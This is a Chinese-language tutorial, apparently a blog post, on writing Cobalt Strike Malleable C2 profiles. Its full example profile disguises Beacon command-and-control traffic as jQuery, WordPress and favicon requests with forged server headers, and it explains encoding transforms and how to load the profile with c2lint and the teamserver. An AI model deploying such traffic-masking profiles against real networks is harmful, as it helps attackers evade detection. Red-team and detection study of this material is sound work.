【逆向】Cobalt Strike Malleable C2配置文件编写教程

前言

Malleable C2是Cobalt Strike的一个功能，它允许我们通过编写配置文件来改变Beacon与C2通信时的流量特征与行为。在学习之前我们先通过下图了解下Beacon与Teamserver通信的基础过程。

示例

以下示例基本包含了编写配置文件需要用到的元素。

#设置全局选项
set sample_name "my";
set sleeptime "5000";

http-get
{
    #设置针对get请求的url路径
    set uri "/jquery.min.js";

    client
    {
        #设置客户端请求的头部字段与url参数
        header "Accept-Language" "zh-CN,zh;q=0.9,en;q=0.8";
        parameter "ver" "1.2.4";

        #发送会话元数据
        metadata
        {
            base64;                #base64编码
            prepend "token=";      #数据前追加字符串
            header "Cookie";       #保存数据到Cookie字段
        }
    }

    server
    {
        #设置服务端请求的头部字段
        header "Server" "Apache/2.4.39 (Unix)";
        header "Content-Type" "application/javascript; charset=utf-8";

        #返回需要执行的任务信息
        output
        {
            base64;
            prepend "/*! jQuery v2.1.3";
            append "var nc=a.jQuery,oc=a.$;";
            print;
        }
    }
}

http-post
{
    set uri "/wp-admin";

    client
    {
        header "Accept-Language" "zh-CN,zh;q=0.9,en;q=0.8";
        header "Cookie" "wordpress_test_cookie=WP+Cookie+check";

        #发送任务ID
        id
        {
            base64;
            prepend "PHPSESSID=";
            header "Cookie";
        }

        #发送任务执行结果
        output
        {
            base64;
            print;
        }
    }

    server
    {
        header "Server" "Apache/2.4.39 (Unix)";
        header "Content-Type" "text/html; charset=UTF-8";

        #返回空
        output
        {
            base64;
            print;
        }
    }
}

http-stager
{
    set uri_x86 "/favicon1.ico";
    set uri_x64 "/favicon2.ico";

    client
    {
        header "Accept-Language" "zh-CN,zh;q=0.9,en;q=0.8";
    }

    server
    {
        header "Server" "Apache/2.4.39 (Unix)";
        header "Content-Type" "image/x-icon";

        #返回有效载荷
        output
        {
            print;
        }
    }
}

语句

使用以下语句编写配置文件，可以完成对C2流量特征与行为的自定义过程。

数据转换

//对传输数据进行编码
base64：        //base64编码
base64url：     //base64编码后数据可以放在rul中
mask：          //xor异或加密
netbios：       //SMB 传输过程中针对主机名的编码方式（NetBIOS编码‘a’）
netbiosu：      //SMB 传输过程中针对主机名的编码方式（NetBIOS编码‘A’）

//在传输数据的起始和结尾部分追加字符串
prepend：       //前置字符串
append：        //结尾字符串

终止语句

//设置传输数据存储的位置
header "Cookie"    //将数据存储在HTTP头Cookie字段中
parameter "Key"    //将数据存储在URL参数中

print              //将数据存储在Body中
uri-append         //将数据附加到URL中

额外语句

//parameter: 在rul结尾添加?bar = blah参数
http-get {
    client {
        parameter "bar" "blah";
        
//header: 在请求头添加X-Not-Malware字段
http-get {
    server {
        header "X-Not-Malware" "I promise!";

转义字符

"\n"        //换行符
"\r"        //回车符
"\t"        //制表符
"\u####"    //Unicode字符
"\x##"      //字节符(例如：\x41 = 'A')
"\\"        //\

可用选项

可用选项分为2种类型：全局选项和局部选项。
全局选项在文件头部设置，全局选项将更改全局Beacon设置。
你可以使用“set”语句在配置文件中设置可用选项来配置Beacon的默认值。

//设置默认睡眠时间为1000毫秒
set "sleeptime" "1000";

测试与使用

Cobalt Strike软件包中包含一个c2lint程序，你可以使用该程序对配置文件语法进行检查，或者使用随机数据对配置文件进行单元测试。

// ./c2lint [/path/to/my.profile]

配置文件检测通过后你可以在启动Cobalt Strike团队服务器时，指定加载该配置文件。

// ./teamserver [external IP] [password] [/path/to/my.profile]

参考资料

https://www.cobaltstrike.com/help-malleable-c2
https://exp10it.cn/#/posts/69
https://bluescreenofjeff.com/2017-01-24-how-to-write-malleable-c2-profiles-for-cobalt-strike/